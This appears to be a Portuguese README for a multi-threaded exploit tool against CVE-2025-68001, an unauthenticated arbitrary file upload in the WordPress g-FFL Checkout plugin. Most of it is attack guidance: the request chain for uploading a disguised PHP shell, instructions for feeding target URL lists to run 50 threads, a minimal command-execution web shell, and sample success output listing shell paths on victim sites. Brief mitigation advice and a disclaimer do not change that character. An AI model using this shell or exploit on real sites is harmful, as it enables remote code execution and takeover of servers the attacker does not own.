
O plugin g-FFL Checkout para WordPress <= 2.1.0 é vulnerável a um Upload Arbitrário de Arquivos de alta prioridade.
O plugin g-FFL Checkout do WordPress <= 2.1.0 é vulnerável a um upload arbitrário de arquivos de alta prioridade
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Fique à frente da curva. Junte-se a @KNxploited no Telegram — sua fonte exclusiva para as últimas CVEs, zero-days e pesquisas de exploração de ponta. Atualizado constantemente. Não para todos.
CVE-2025-68001 é uma vulnerabilidade crítica de Upload Arbitrário de Arquivos Não Autenticado descoberta no plugin g-FFL Checkout do WordPress por garidium.
A vulnerabilidade permite que um atacante remoto não autenticado faça upload de arquivos arbitrários — incluindo web shells — para o servidor alvo através da ação AJAX ffl_upload_document, levando à Execução Remota de Código (RCE) completa.
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versões Afetadas | n/a até <= 2.1.0 |
| Tipo de Vulnerabilidade | Upload Ilimitado de Arquivos |
| Impacto | Execução Remota de Código (RCE) |
| Autenticação | Não Necessária |
| Severidade CVSS | Crítica |
| Pesquisador | Nxploited |
O exploit segue uma cadeia de ataque de múltiplas etapas precisa:
1. GET /checkout
↓
Extrai `checkout_nonce` dos dados JavaScript inline
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disfarçado como image/png>
↓
O servidor armazena o arquivo sem validação de extensão ou MIME
3. Analisa a resposta JSON
↓
Extrai o caminho do arquivo enviado / nome de arquivo único
4. Acessa o shell enviado via HTTP
↓
Execução Remota de Código alcançada ✔️
O plugin expõe um endpoint AJAX ffl_upload_document que:
Instale todas as dependências antes de executar:
pip install requests rich
| Dependência | Propósito |
|---|---|
requests | Requisições HTTP & gerenciamento de sessão |
rich | Interface de terminal, barras de progresso, painéis |
threading | Processamento multi-thread de alvos |
Python 3.8+ é necessário.
CVE-2025-68001/
├── CVE-2025-68001.py # Script exploit principal
├── shell.php # Web shell para enviar (você fornece)
├── list.txt # URLs alvo (um por linha)
└── success_results.txt # Saída de resultados gerada automaticamente
Crie um arquivo list.txt com uma URL alvo por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
O script automaticamente adiciona
http://se nenhum esquema for fornecido.
Coloque seu web shell PHP no mesmo diretório. Exemplo de shell mínimo:
<?php system($_GET['cmd']); ?>
Salve como shell.php (ou qualquer nome — você será solicitado a fornecê-lo).
python CVE-2025-68001.py
Você será solicitado interativamente:
Digite o nome do arquivo de alvos (padrão: list.txt):
> list.txt
Digite o nome do arquivo shell para enviar (padrão: shell.php):
> shell.php
Digite o número de threads (padrão: 50):
> 20
Exploits bem-sucedidos são salvos automaticamente em success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Cada linha contém:
| Parâmetro | Padrão | Descrição |
|---|---|---|
| Arquivo de alvos | list.txt | Arquivo contendo URLs alvo |
| Arquivo shell | shell.php | Shell PHP para enviar ao alvo |
| Número de threads | 50 | Trabalhadores concorrentes (máx: 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
Todos os alvos processados ✔️. Resultados salvos em: success_results.txt
A vulnerabilidade reside no manipulador AJAX do plugin registrado sem verificações de capacidade:
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Se você é um proprietário de site ou desenvolvedor, tome as seguintes medidas imediatamente:
g-ffl-checkout para uma versão corrigida (> 2.1.0) se disponível.htaccess).php suspeitosESTA FERRAMENTA É FORNECIDA ESTRITAMENTE PARA FINS EDUCACIONAIS
E DE PESQUISA DE SEGURANÇA AUTORIZADA.
Ao usar este script, você concorda explicitamente com o seguinte:
• Você tem permissão EXPLÍCITA por escrito do proprietário do sistema alvo.
• Você está operando em um laboratório controlado ou em um engajamento de teste de penetração autorizado.
• Você NÃO usará esta ferramenta contra qualquer sistema que não possua ou não tenha autorização legal para testar.
• O autor (Nxploited) não tem NENHUMA responsabilidade por qualquer dano, perda de dados, consequências legais ou uso indevido resultante desta ferramenta.
O uso não autorizado desta ferramenta contra sistemas sem permissão é ILEGAL
e pode violar leis incluindo, mas não se limitando a:
— Computer Fraud and Abuse Act (CFAA)
— Diretiva da UE sobre Ataques contra Sistemas de Informação
— E leis equivalentes em sua jurisdição.
USE COM RESPONSABILIDADE. HACKEIE ETICAMENTE.
| Nome | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Siga @KNxploited no Telegram para receber as últimas divulgações de vulnerabilidades, lançamentos de exploits e pesquisas de segurança — antes de qualquer outra pessoa.